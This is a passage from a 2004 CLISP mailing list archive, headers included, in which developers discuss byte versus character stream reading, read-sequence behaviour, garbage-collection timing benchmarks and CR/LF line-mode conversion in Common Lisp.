IMO, the undestanding of Common-Lisp is that a stream that comes from the wire should be read in binary, codes should be handled as byte and codes corresponding to characters should be decoded to characters. The structuring implied by the control codes should traslate to high level structuring (objects, structures, array, lists). Clearly this is quite different from the point of view of unix/posix. It's really a shame that ISO standard documents not be more available, they make a lot of people lose a lot of time on these questions... -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From pascal@informatimago.com Thu Mar 18 12:51:47 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B44UU-0004W5-PZ for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 12:51:46 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B44US-0002KC-Qp for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 12:51:45 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id BFBD3586E2; Thu, 18 Mar 2004 21:51:42 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id BD3EE38A4C; Thu, 18 Mar 2004 21:53:24 +0100 (CET) Message-ID: <16474.3140.693108.104655@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: *print-pretty*, read-char In-Reply-To: References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403181344.10636.bruno@clisp.org> <200403181452.11118.bruno@clisp.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 12:52:04 2004 X-Original-Date: Thu, 18 Mar 2004 21:53:24 +0100 Sam Steingold writes: > (ext:times > (with-open-file (in "foo" :element-type 'unsigned-byte) > (let ((bytes 0) (chars 0) > (buf (make-array 1024 :element-type 'unsigned-byte))) > (loop (let ((got (read-sequence buf in))) > (incf bytes got) > (incf chars (length (ext:convert-string-from-bytes > buf charset:utf-8))) > (unless (= got (length buf)) > (return (values bytes chars)))))))) > > BTW, why do I get more chars than bytes as the return value? > this is a pure ASCII file! read-sequence does not set the fill pointer of the array, the more so if it has no fill pointer! [71]> (let ((a (make-array '(64) :element-type 'unsigned-byte :initial-element 0))) (with-open-stream (in (make-string-input-stream "BONJOUR")) (values a (read-sequence a in)))) #(#\B #\O #\N #\J #\O #\U #\R 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) ; -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From sds@gnu.org Thu Mar 18 13:07:27 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B44jf-0000Y3-L6 for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 13:07:27 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B44jf-0006tX-1n for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 13:07:27 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2IL7DlF029326; Thu, 18 Mar 2004 16:07:13 -0500 (EST) To: clisp-list@lists.sourceforge.net, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16474.69.183782.574523@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Thu, 18 Mar 2004 21:02:13 +0100") References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172228.14725.bruno@clisp.org> <200403181400.43908.bruno@clisp.org> <16474.69.183782.574523@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.001 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 13:08:02 2004 X-Original-Date: Thu, 18 Mar 2004 16:07:13 -0500 > * Pascal J.Bourguignon [2004-03-18 21:02:13 +0100]: > > I'd really like to see a Common-Lisp implementation that would use > random values for all that is implementation dependent. A program that > would run conformably and bug free on such an implementation would be > really portable, so this kind of implementation would be really > valuable to application developers. How about a CLISP option "-r" which would do just that - assign random valid values to the implementation dependent variables :-) -- Sam Steingold (http://www.podval.org/~sds) running w2k Software is like sex: it's better when it's free. From pascal@informatimago.com Thu Mar 18 13:25:30 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B4517-0005XR-NH for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 13:25:29 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B4514-0000ht-22 for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 13:25:26 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 6CE70586E2; Thu, 18 Mar 2004 22:25:24 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4C68D38A4B; Thu, 18 Mar 2004 22:27:06 +0100 (CET) Message-ID: <16474.5162.112076.228646@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172228.14725.bruno@clisp.org> <200403181400.43908.bruno@clisp.org> <16474.69.183782.574523@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 13:26:02 2004 X-Original-Date: Thu, 18 Mar 2004 22:27:06 +0100 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-03-18 21:02:13 +0100]: > > > > I'd really like to see a Common-Lisp implementation that would use > > random values for all that is implementation dependent. A program that > > would run conformably and bug free on such an implementation would be > > really portable, so this kind of implementation would be really > > valuable to application developers. > > How about a CLISP option "-r" which would do just that - assign random > valid values to the implementation dependent variables :-) If you fancy it. I would definitely use it along with -ansi! -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From bruno@clisp.org Thu Mar 18 13:33:57 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B459J-0007xN-0t for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 13:33:57 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B459H-0006X4-Jp for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 13:33:55 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i2ILXqAk024734; Thu, 18 Mar 2004 22:33:52 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i2ILXpWR023825; Thu, 18 Mar 2004 22:33:51 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id A18FC1BA99; Thu, 18 Mar 2004 21:28:32 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403181452.11118.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200403182228.31287.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: GC efficiency Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 13:34:06 2004 X-Original-Date: Thu, 18 Mar 2004 22:28:31 +0100 Sam wrote: > (ext:times > (with-open-file (in "foo" :element-type 'unsigned-byte) > (let ((bytes 0) (chars 0) > (buf (make-array 1024 :element-type 'unsigned-byte))) > (loop (let ((got (read-sequence buf in))) > (incf bytes got) > (incf chars (length (ext:convert-string-from-bytes > buf charset:utf-8))) > (unless (=3D got (length buf)) > (return (values bytes chars)))))))) > ... > Real time: 51.568 sec. > Run time: 41.54 sec. > Space: 360900936 Bytes > GC: 606, GC time: 15.705 sec. > 63707377 ; > 63708160 > > note that over 35% of time is spent on GC! What kind of system is this on, and what kind of GC does it have? (GENERATIONAL_GC or not? SPVW_BLOCKS or SPVW_PAGES?) On Linux/x86 I get (where "foo" is produced as 10 times the concatenation of all clisp/src/*.d files): (defun foo (filename) (ext:times (with-open-file (in filename :element-type 'unsigned-byte) (let ((bytes 0) (chars 0) (buf (make-array 1024 :element-type 'unsigned-byte))) (loop (let ((got (read-sequence buf in))) (incf bytes got) (incf chars (length (ext:convert-string-from-bytes buf charset:utf-8))) (unless (=3D got (length buf)) (return (values bytes chars))))))))) (foo "in10") dauerhaft tempor=C3= =A4r Klasse Instanzen Bytes Instanzen Byt= es =2D----- --------- --------- --------- ---= =2D----- SIMPLE-STRING 0 0 62236 25527= 3008 SIMPLE-8BIT-VECTOR 0 0 62226 6422= 0304 CONS 0 0 1617865 1294= 2920 BIGNUM 2 24 91675 110= 0100 SIMPLE-VECTOR 0 0 1 = 4104 =46ILE-STREAM 0 0 1 = 148 PATHNAME 0 0 4 = 80 SIMPLE-BIT-VECTOR 0 0 1 = 12 =2D----- --------- --------- --------- ---= =2D----- Gesamt 2 24 1834009 33354= 0676 Real time: 18.288704 sec. Run time: 18.15 sec. Space: 334408540 Bytes GC: 640, GC time: 0.76 sec. 63717750 ; 63693701 So, it's a very similar test to yours; the amount of GCs is nearly the same; but here only 4% of the time is spent in GC. > BTW, why do I get more chars than bytes as the return value? > this is a pure ASCII file! It may be an ASCII file containing CR/LFs... Bruno From bruno@clisp.org Thu Mar 18 13:45:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B45Kf-0002oQ-FN for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 13:45:41 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B45Kd-0000NZ-Q7 for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 13:45:39 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i2ILjbqh025099; Thu, 18 Mar 2004 22:45:37 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i2ILjaWR024603; Thu, 18 Mar 2004 22:45:36 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 6ED25178AC; Thu, 18 Mar 2004 21:40:17 +0000 (UTC) From: Bruno Haible To: Subject: Re: [clisp-list] Re: *print-pretty*, read-char User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403181906.33170.bruno@clisp.org> <16474.2457.561300.697970@thalassa.informatimago.com> In-Reply-To: <16474.2457.561300.697970@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403182240.16189.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 13:46:05 2004 X-Original-Date: Thu, 18 Mar 2004 22:40:16 +0100 Pascal J.Bourguignon wrote: > You'd have to check the official standard.... > It's really a shame that ISO standard documents not be more available, > they make a lot of people lose a lot of time on these questions... The final draft of ISO-8859-15 and -16 is online at http://www.evertype.com/sc2wg3.html but it doesn't answer the question about #x80..#x9F. Bruno From sds@gnu.org Thu Mar 18 14:06:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B45eh-00008w-2J for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 14:06:23 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B45eg-0002W2-4x for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 14:06:22 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2IM6AlF014690; Thu, 18 Mar 2004 17:06:10 -0500 (EST) To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403182228.31287.bruno@clisp.org> (Bruno Haible's message of "Thu, 18 Mar 2004 22:28:31 +0100") References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403181452.11118.bruno@clisp.org> <200403182228.31287.bruno@clisp.org> Mail-Followup-To: Bruno Haible , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.001 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: GC efficiency Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 14:07:02 2004 X-Original-Date: Thu, 18 Mar 2004 17:06:10 -0500 > * Bruno Haible [2004-03-18 22:28:31 +0100]: > > Sam wrote: >> (ext:times >> (with-open-file (in "foo" :element-type 'unsigned-byte) >> (let ((bytes 0) (chars 0) >> (buf (make-array 1024 :element-type 'unsigned-byte))) >> (loop (let ((got (read-sequence buf in))) >> (incf bytes got) >> (incf chars (length (ext:convert-string-from-bytes >> buf charset:utf-8))) >> (unless (= got (length buf)) >> (return (values bytes chars)))))))) >> ... >> Real time: 51.568 sec. >> Run time: 41.54 sec. >> Space: 360900936 Bytes >> GC: 606, GC time: 15.705 sec. >> 63707377 ; >> 63708160 >> >> note that over 35% of time is spent on GC! > > What kind of system is this on, and what kind of GC does it have? how do I find this out from a running CLISP? right now, I had to look at *lib-directory*, "make lispbibl.h" there and grep through it. this is not too reliable. there gotta be a better way! > (GENERATIONAL_GC or not? SPVW_BLOCKS or SPVW_PAGES?) no GENERATIONAL_GC!!! why?! I do have libsigsegv: $ grep -i sigsegv config.log $ configure --srcdir=../src --with-module=syscalls --with-module=regexp --with -module=dirkey --with-module=bindings/win32 --with-libsigsegv-prefix=/usr/local/ libsigsegv-cygwin --cache-file=config.cache --no-create --no-recursion configure:6897: checking for libsigsegv configure:6964: checking how to link with libsigsegv configure:6966: result: /usr/local/libsigsegv-cygwin/lib/libsigsegv.a configure:22449: gcc -o conftest.exe -g -O2 -I/usr/local/libsigsegv-cygwin/inclu de conftest.c -lreadline -lncurses >&5 cl_cv_lib_sigsegv=yes CPPFLAGS='-I/usr/local/libsigsegv-cygwin/include' LIBSIGSEGV='/usr/local/libsigsegv-cygwin/lib/libsigsegv.a' LTLIBSIGSEGV='-L/usr/local/libsigsegv-cygwin/lib -lsigsegv' #define HAVE_SIGSEGV 1 $ grep SPVW lispbibl.h #define SPVW_MIXED #define SPVW_PAGES $ > Real time: 18.288704 sec. > Run time: 18.15 sec. > Space: 334408540 Bytes > GC: 640, GC time: 0.76 sec. > 63717750 ; > 63693701 > > So, it's a very similar test to yours; the amount of GCs is nearly the same; > but here only 4% of the time is spent in GC. OK, so generational GC does save the day, but even these 4% are not really needed! -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is a way of life. C is a way of death. From Joerg-Cyril.Hoehle@t-systems.com Fri Mar 19 04:49:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B4JRZ-0001ge-7T for clisp-list@lists.sourceforge.net; Fri, 19 Mar 2004 04:49:45 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B4JRV-0007Hz-3k for clisp-list@lists.sourceforge.net; Fri, 19 Mar 2004 04:49:41 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 19 Mar 2004 13:49:34 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 19 Mar 2004 13:49:34 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0A7E0C0A@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: *print-pretty*, read-char MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 19 04:50:09 2004 X-Original-Date: Fri, 19 Mar 2004 13:49:32 +0100 Hi, my perception of the thread is that what's really lacking is an *efficient* way to build streams of ad-hoc behaviour that interact nicely with all other stream and i/o functions. Obvious difficulties: - interactive stream or not? - bidirectional or not (what's the mutual interference then)? - (setf stream-element-type) - efficiency (if you do read-char in CLISP, then something is wrong, because the code will be orders of magnitude slower than the built-in routines). - gray streams has a reputation of being dog slow (as would be anything using only characterwise i/o). - nobody implemented simple streams for CLISP - CLISP's buffered input or output streams are handy, but don't provide a solution w.r.t. interactiveness and bidrectionality, or (setf stream-element-type) Yet ext:make-buffered-input-stream may be perfect for Don Cohen's current logfile processing needs. >Clearly my current solution is exactly what I want. >I read 8 bit bytes and then call code-char, using an encoding that >gives me 256 different characters for the 256 bytes. >It just seems silly that this should be the best (maybe only) way >to get the desired result. I recommend READ-BYTE-SEQUENCE and EXT:CONVERT-STRING-FROM-BYTES. That should be orders of magnitude faster and convert CR/LF as is. If you cannot use built-in array manipulation functions in CLISP, then you loose big in speed (for anything in the area of i/O, FFI, character or number manipulations, etc.). That's what Erik Naggum once criticized, because he assumes this leads to or teaches people to write code that prefers a given solution path (introducing a bias) whereas it would be independent with those Lisp implementations that compile to native code and where almost everything including the i/o is written in Lisp, so no bias is introduced by the implementation and people can code towards the best design instead of the maximum use of built-in functions. BTW, since you're reading httpd server log files, why is CR and/or LF a problem at all?? If you stick to CLISP's automatic conversion (which is perfect for text procesing), your code will run equally on httpd well on MS-Windows and UNIX machines. What am I missing? Regards, Jorg Hohle. From kraehe@copyleft.de Fri Mar 19 06:49:43 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B4LJd-0007NW-PC for clisp-list@lists.sourceforge.net; Fri, 19 Mar 2004 06:49:41 -0800 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1B4LJZ-0003q0-HU for clisp-list@lists.sourceforge.net; Fri, 19 Mar 2004 06:49:37 -0800 Received: from [194.97.55.147] (helo=mx4.freenet.de) by mout2.freenet.de with asmtp (Exim 4.30) id 1B4LJU-0001Fr-W7; Fri, 19 Mar 2004 15:49:32 +0100 Received: from g4169.g.pppool.de ([80.185.65.105] helo=bakunin.copyleft.de) by mx4.freenet.de with esmtp (Exim 4.303 #3) id 1B4LJU-0001wQ-NF; Fri, 19 Mar 2004 15:49:32 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 1B4LJR-0006xn-00; Fri, 19 Mar 2004 15:49:29 +0100 From: Michael Koehne To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] line mode Message-ID: <20040319144929.GA26505@bakunin.copyleft.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A7E0C0A@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0A7E0C0A@G8PQD.blf01.telekom.de> User-Agent: Mutt/1.3.28i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 19 06:50:05 2004 X-Original-Date: Fri, 19 Mar 2004 15:49:29 +0100 Moin Joerg-Cyril, > BTW, since you're reading httpd server log files, why is CR and/or LF > a problem at all?? If you stick to CLISP's automatic conversion (which > is perfect for text procesing), your code will run equally on httpd well > on MS-Windows and UNIX machines. What am I missing? i can not tell, what ANSI tells about - but autoconversion of \n to \r\n is a secure way to shoot your self into your foot, promoted by a major software house. The M$CC habbit to expand, will break calculations based on tell and seek and many more system calls. The problem started, when M$CC deceided to do the expansion based breaking the semantics of open, write and read system call emulations. A better way would have been to leave those calls as they are, and to implement a high level line mode on top. A portable application level line mode implementation, would better NOT allow any of the \n or \r characters to be part of the string, as mainframes either do not use any line break characters at the end of the line, but it might have ASA characters at the beginning of the line. Even Unix systems need \r\n for end of line, when talking interactive line mode telnet. Unix does not provide broken open,read and write system calls for auto expansion, but this is left to the user application for a good reason. Interactive line mode is much more difficult than batch line mode, if you think about IAC processing. Those commands could come in the middle of a line, e.g. the IAC GA command telling that this line is a "GO AHEAD" prompt and therefore finished WITHOUT linebreak, as the user has to type a line, which will do the linebreak. Now add color processing, and processing of double-print-characters (e.g. "^ha for ä) and double-print-line (using \r instead of \r\n) and you can imagine the can of worms. The question to the implementors: What are the requirements for an object class to integrate itself as a line mode stream into clisp ? (besides porting the low level funtions from GCL to FFI and making the system usabable at all ;-) Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.22'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From Joerg-Cyril.Hoehle@t-systems.com Fri Mar 19 09:48:38 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B4O6n-0001XN-U9 for clisp-list@lists.sourceforge.net; Fri, 19 Mar 2004 09:48:37 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B4O6l-0002ZP-AO for clisp-list@lists.sourceforge.net; Fri, 19 Mar 2004 09:48:35 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Fri, 19 Mar 2004 18:48:27 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 19 Mar 2004 18:48:27 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0A7E0CC6@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: bruno@clisp.org Subject: [clisp-list] Re: *print-pretty*, read-char MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; 